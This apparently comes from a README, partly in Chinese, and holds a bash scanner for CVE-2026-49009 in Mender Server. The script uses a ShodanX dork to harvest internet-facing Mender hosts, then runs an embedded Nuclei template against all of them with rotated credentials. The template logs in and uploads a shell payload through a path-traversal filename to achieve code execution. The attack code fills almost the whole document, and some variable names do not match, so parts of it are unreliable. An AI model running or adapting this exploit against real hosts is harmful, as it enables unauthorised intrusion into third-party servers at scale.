</details>

## Nuclei POC
<a href="https://ibb.co.com/27n0JF6s"><img src="https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg" alt="poc" border="0"></a>

---

### ShodanX + Nuclei 扫描器

将 [ShodanX](https://github.com/RevoltSecurities/ShodanX) 侦察与 Nuclei 扫描相结合，以大规模发现和评估 Mender Server 实例。

**阶段：**
1. **发现** — ShodanX 使用 dork `http.title:"Mender"` 提取 IP:端口对
2. **扫描** — Nuclei 针对发现的目标运行 CVE 模板并进行凭证轮换
3. **报告** — 去重后的 JSON + 纯文本输出

<details>
<summary>▶ 查看扫描脚本 (cve-2026-49009-scanner.sh)</summary>```bash
#!/bin/bash
set -euo pipefail

RED='\033[0;31m'; GREEN='\033[0;32m'; YELLOW='\033[1;33m'
CYAN='\033[0;36m'; BOLD='\033[1m'; NC='\033[0m'

SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
TIMESTAMP="$(date +%Y%m%d_%H%M%S)"
OUTPUT_DIR="${SCRIPT_DIR}/cve-2026-49009-scan-${TIMESTAMP}"
SHODAN_QUERY='http.title:"Mender"'
PAGES=3
RATE=50
NO_SHODAN=false
CREDS_ARRAY=()

usage() {
    cat <<EOF
Usage: $0 [options]
  -u, --username   Mender username
  -P, --password   Mender password
  -c, --creds      Credentials file (username:password, one per line)
  -q, --query      Shodan query (default: http.title:"Mender")
  -o, --output     Output directory
  -p, --pages      Shodan result pages (default: 3)
  -r, --rate       Nuclei rate limit (default: 50)
  -n, --no-shodan  Skip ShodanX discovery
  -t, --targets    Target file (used with --no-shodan)
  -h, --help       Show this help
EOF
    exit 0
}

while [[ $# -gt 0 ]]; do
    case "$1" in
        -q|--query)     SHODAN_QUERY="$2"; shift 2 ;;
        -o|--output)    OUTPUT_DIR="$2";   shift 2 ;;
        -p|--pages)     PAGES="$2";        shift 2 ;;
        -u|--username)  USERNAME="$2";     shift 2 ;;
        -P|--password)  PASSWORD="$2";     shift 2 ;;
        -c|--creds)     CREDS_FILE="$2";   shift 2 ;;
        -n|--no-shodan) NO_SHODAN=true;    shift   ;;
        -t|--targets)   TARGETS_FILE="$2"; shift 2 ;;
        -r|--rate)      RATE="$2";         shift 2 ;;
        -h|--help)      usage ;;
        *) echo "Unknown option: $1"; usage ;;
    esac
done

check_deps() {
    command -v shodanx &>/dev/null || {
        echo "[*] Installing ShodanX..."
        pip install git+https://github.com/RevoltSecurities/ShodanX --quiet
    }
    command -v nuclei &>/dev/null || {
        echo "[!] Nuclei not found. Install: go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest"
        exit 1
    }
}

write_template() {
    cat > "${OUTPUT_DIR}/CVE-2026-49009.yaml" << 'TMPL'
id: CVE-2026-49009
info:
  name: Mender Server - Authenticated Path Traversal to RCE
  author: j0xh-sec
  severity: critical
  description: Mender Server <=4.1.0/4.0.1 authenticated path traversal to RCE.
  remediation: Upgrade to 4.1.1 or 4.0.2.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-49009
    - https://mender.io/blog/cve-2026-49009-cve-2026-33552-input-sanitization-and-access-control-issues-in-mender-server
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2026-49009
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 2
    vendor: northern.tech
    product: mender_server
  tags: cve,cve2026,mender,path-traversal,rce,authenticated,intrusive
http:
  - raw:
      - |+
        POST /api/management/v1/useradm/auth/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Basic {{base64('{{username}}:{{password}}')}}
        {}
      - |+
        POST /api/management/v1/deployments/artifacts/generate HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{jwt}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr}}
        ------WebKitFormBoundary{{randstr}}
        Content-Disposition: form-data; name="name"
        cve-poc-{{randhex_6}}
        ------WebKitFormBoundary{{randstr}}
        Content-Disposition: form-data; name="args"
        Content-Type: application/json
        {"filename":"../../../../usr/bin/mender-artifact","dest_dir":"/opt/mender/app","software_name":"demo","software_version":"1"}
        ------WebKitFormBoundary{{randstr}}
        Content-Disposition: form-data; name="file"; filename="payload.sh"
        Content-Type: application/octet-stream
        #!/bin/sh
        /usr/bin/id>/tmp/.cve-2026-49009
        ------WebKitFormBoundary{{randstr}}--
    extractors:
      - type: regex
        name: jwt
        part: body
        internal: true
        regex:
          - "([A-Za-z0-9_\\-]+\\.[A-Za-z0-9_\\-]+\\.[A-Za-z0-9_\\-]+)"
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 200'
          - 'len(jwt) > 100'
          - 'status_code_2 >= 200 && status_code_2 < 300'
          - 'contains(to_string(header_2_all), "Location")'
        condition: and
TMPL
    echo "[+] Nuclei template written: ${OUTPUT_DIR}/CVE-2026-49009.yaml"
}

shodanx_discover() {
    echo "[*] ShodanX discovery: ${SHODAN_QUERY} (pages: ${PAGES})"
    mkdir -p "${OUTPUT_DIR}"
    shodanx search --query "${SHODAN_QUERY}" --pages "${PAGES}" \
        --output "${OUTPUT_DIR}/shodanx-raw.txt" --format json 2>/dev/null || \
    shodanx search --query "${SHODAN_QUERY}" --pages "${PAGES}" \
        --output "${OUTPUT_DIR}/shodanx-raw.txt" 2>/dev/null || true

    if jq -r '.[] | "\(.ip_str):\(.port // "443")"' "${OUTPUT_DIR}/shodanx-raw.txt" 2>/dev/null | \
       grep -v '^:$\|^null' | sort -u > "${OUTPUT_DIR}/targets.txt" 2>/dev/null; then
        :
    else
        grep -oE '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+(:[0-9]+)?' \
            "${OUTPUT_DIR}/shodanx-raw.txt" 2>/dev/null | sort -u > "${OUTPUT_DIR}/targets.txt" || true
    fi
    echo "[+] $(wc -l < "${OUTPUT_DIR}/targets.txt" 2>/dev/null || echo 0) targets discovered"
}

nuclei_scan() {
    [[ ! -s "${OUTPUT_DIR}/targets.txt" ]] && { echo "[!] No targets to scan"; return; }
    echo "[*] Running Nuclei scan (rate: ${RATE})..."
    for cred in "${CREDS_ARRAY[@]}"; do
        nuclei -silent \
            -t "${OUTPUT_DIR}/CVE-2026-49009.yaml" \
            -l "${OUTPUT_DIR}/targets.txt" \
            -var "USERNAME=${cred%%:*}" \
            -var "PASSWORD=${cred#*:}" \
            -rate-limit "${RATE}" \
            -jsonl \
            -o "${OUTPUT_DIR}/nuclei-results.json" \
            -timeout 15 -retries 2 -irr 2>/dev/null
    done
    if [[ -f "${OUTPUT_DIR}/nuclei-results.json" ]]; then
        COUNT=$(wc -l < "${OUTPUT_DIR}/nuclei-results.json")
        echo "[+] ${COUNT} vulnerability(ies) confirmed"
        jq -r '.["matched-at"] // .host // empty' "${OUTPUT_DIR}/nuclei-results.json" 2>/dev/null | \
            sort -u > "${OUTPUT_DIR}/vulnerable-hosts.txt"
    else
        echo "[-] No vulnerabilities found or no results returned"
    fi
}

main() {
    check_deps
    mkdir -p "${OUTPUT_DIR}"
    write_template

    if $NO_SHODAN; then
        [[ -n "${TARGETS_FILE:-}" && -f "$TARGETS_FILE" ]] && \
            cp "$TARGETS_FILE" "${OUTPUT_DIR}/targets.txt" || \
            { echo "[!] --no-shodan requires --targets <file>"; exit 1; }
    else
        shodanx_discover
    fi

    if [[ -n "${USERNAME:-}" && -n "${PASSWORD:-}" ]]; then
        CREDS_ARRAY=("${USERNAME}:${PASSWORD}")
    elif [[ -n "${CREDS_FILE:-}" ]]; then
        while IFS=':' read -r u p; do
            [[ -n "$u" && -n "$p" ]] && CREDS_ARRAY+=("${u}:${p}")
        done < "$CREDS_FILE"
    else
        echo "[!] Credentials required: use -u/-P, -c <file>, or set MENDER_USERNAME/MENDER_PASSWORD"
        exit 1
    fi

    nuclei_scan
    echo "[+] Scan complete. Results in: ${OUTPUT_DIR}/"
}

main